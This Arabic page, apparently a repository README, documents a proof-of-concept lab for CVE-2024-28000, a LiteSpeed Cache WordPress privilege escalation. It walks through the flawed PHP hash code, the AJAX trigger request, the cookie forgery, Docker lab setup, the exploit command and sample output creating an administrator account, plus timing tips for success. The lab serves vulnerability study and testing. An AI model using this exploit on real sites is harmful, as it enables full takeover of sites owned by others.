العودة إلى التحديثات
UpdatedAug 7, 2026

CVE-2024-28000 — Updated!

مختبر استغلال عملي لـ CVE-2024-28000 — تصعيد صلاحيات بدون مصادقة في LiteSpeed Cache (إضافة WordPress، <=6.3.0.1). يقوم بتشغيل بيئة قابلة للاستغلال باستخدام Docker ويتضمن أداة كسر قوية مبنية بلغة Go تكسر تجزئة mt_rand الضعيفة لإنشاء حساب مسؤول.

مشاركة

CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC

[!WARNING] هذا المستودع مخصص لأغراض تعليمية وبحثية فقط.

  • استخدم الـ PoC المقدم حصريًا على الأنظمة التي تملكها أو لديك إذن صريح باختبارها.
  • الوصول غير المصرح به، أو الاستغلال، أو إساءة استخدام أي مادة في هذا المستودع هو غير قانوني.
  • لا يتحمل المؤلف (المؤلفون) أي مسؤولية عن أي أضرار أو إساءة استخدام أو عواقب قانونية ناتجة عن الاستخدام غير السليم.

نظرة عامة

CVE-2024-28000 هو ثغرة تصعيد صلاحيات حرجة بدون مصادقة تؤثر على إضافة LiteSpeed Cache لـ WordPress. تنبع الثغرة من آلية مصادقة ضعيفة قائمة على التجزئة (hash) في ميزة محاكاة دور الزاحف (crawler role simulation) في الإضافة، مما يسمح لمهاجم غير مصادق تمامًا بانتحال هوية مسؤول WordPress والتحكم الكامل في الموقع.


كيف تعمل الثغرة

تتضمن إضافة LiteSpeed Cache زاحفًا يقوم بتسخين ذاكرة التخزين المؤقت للموقع مسبقًا عبر زيارة الصفحات بأدوار مستخدمين مختلفة. لمصادقة الزاحف، تولد الإضافة تجزئة قصيرة وتخزنها في جدول خيارات WordPress. أي طلب يقدم هذه التجزئة في ملف تعريف ارتباط (cookie) يُمنح دور المستخدم المحدد في ملف تعريف ارتباط ثانٍ.

ثلاث عيوب في التصميم تتحد لجعل هذه الثغرة قابلة للاستغلال:

العيب 1 - تشغيل التجزئة بدون مصادقة

إجراء AJAX الذي يولّد التجزئة مسجل للمستخدمين غير المصادقين بدون فحص للصلاحيات أو nonce:

// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);

public function async_litespeed_handler() {
    // No capability check
    // No nonce verification
    // Any visitor can call this

    $type = sanitize_key($_POST['litespeed_type'] ?? '');

    if ($type === 'crawler') {
        $hash = Str::rrand(6);
        self::update_option(self::ITEM_HASH, $hash);
    }
    wp_die();
}

يقوم المهاجم بتشغيل هذا عبر إرسال:

POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler

العيب 2 - تجزئة قابلة للتنبؤ (فضاء بذرة من 1,000,000 فقط)

يتم توليد التجزئة باستخدام mt_rand() في PHP مع بذرة (seed) من مكوّن الميكروثانية للوقت الحالي:

// src/str.cls.php
public static function rrand($len, $type = 7) {
    mt_srand((int) ((float) microtime() * 1000000));
    //       seed = microseconds = 0 to 999,999 only

    $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
    }
    return $str;
}

تُرجع microtime() فقط الجزء الكسري من الثانية (مثل 0.523847). عند ضربه في 1,000,000، ينتج عن ذلك بذرة بين 0 و 999,999 - بغض النظر عن وقت اليوم. المهاجم الذي يشغّل توليد التجزئة بنفسه يعرف وقت التوليد التقريبي، ويمكنه كسر جميع البذور المليون في دقائق.

العيب 3 - لا يوجد تحديد لمعدل التحقق

تتحقق الإضافة من التجزئة في كل طلب بمقارنة نصية بسيطة وبدون قفل أو تحديد للمعدل:

// src/router.cls.php
public function is_role_simulation() {
    if (empty($_COOKIE['litespeed_hash'])) return;

    $hash = self::get_option(self::ITEM_HASH);

    // Simple string compare - no rate limiting, no IP check, no lockout
    if ($_COOKIE['litespeed_hash'] !== $hash) return;

    $role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
    wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}

مسار الهجوم الكامل

sequenceDiagram
    participant A as Attacker
    participant W as LiteSpeed Cache / WordPress
    A->>W: POST /wp-admin/admin-ajax.php
    W->>W: Seed mt_rand() with microtime()
    W->>W: Generate & store litespeed_hash
    A->>A: Brute-force PRNG seed
    A->>A: Replicate PHP mt_rand() in Go
    A->>A: Recover litespeed_hash
    A->>W: Cookie: litespeed_hash=<recovered_hash>
    A->>W: Cookie: litespeed_role=1
    W->>W: verify_hash()
    W->>W: wp_set_current_user(1)
    A->>W: POST /index.php?rest_route=/wp/v2/users
    W-->>A: Administrator account created
    A->>W: Login with new Administrator account
    Note over A,W: Full Site Compromise

إعداد المختبر

المتطلبات

  • Docker
  • Go 1.21+

التثبيت

# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git

# Change directory
cd CVE-2024-28000

# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml

# Build and start:
cd lab && docker compose up -d --build

# Watch setup progress:
docker compose logs -f wordpress

انتظر حتى ترى:

============================================================
 Lab ready!
 Admin  : http://YOUR_IP/wp-admin
 Login  : admin / admin123
 Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================

الاستخدام

تشغيل الاستغلال

cd expl && go run main.go -url http://TARGET_IP/ -threads 40

المخرجات المتوقعة

============================================================
 CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
 Target  : https://TARGET_IP/
 Seeds   : 0 to 999999 (1000000 total)
 Threads : 40
 Timeout : 5s
============================================================

[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread  5] Testing seed 100000
[INF] [Thread  7] Testing seed 150000
[INF] [Thread  9] Testing seed 200000
[INF] [Thread  3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread  1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000

[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username     : test_lab_user
[+] Password     : test_lab_pass
[+] Login at     : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s

[!IMPORTANT] لا تنتهي صلاحية التجزئة، ولكن يمكن إعادة توليدها بواسطة الزاحف المدمج في LiteSpeed.

  • إذا كان الزاحف نشطًا (الفاصل الافتراضي: كل 10 دقائق)، فسيتم استبدال التجزئة المخزنة في قاعدة البيانات تلقائيًا - مما يؤدي إلى فشل الكسر بالقوة الغاشمة لأنه يختبر بذورًا للتجزئة القديمة.
  • إذا كان الزاحف معطلاً، تستمر التجزئة إلى أجل غير مسمى ويؤثر عدد الخيوط (threads) فقط على السرعة، وليس على النجاح.
  • لتعظيم معدل النجاح: شغّل توليد التجزئة ونفّذ الاستغلال فورًا، بأكبر عدد ممكن من الخيوط التي يمكن للهدف تحمّلها.
  • علامات على أن التجزئة تم تدويرها أثناء الهجوم: استنفاد جميع البذور المليون دون نتيجة على الرغم من نجاح فحص السلامة عند بدء التشغيل.

الفئات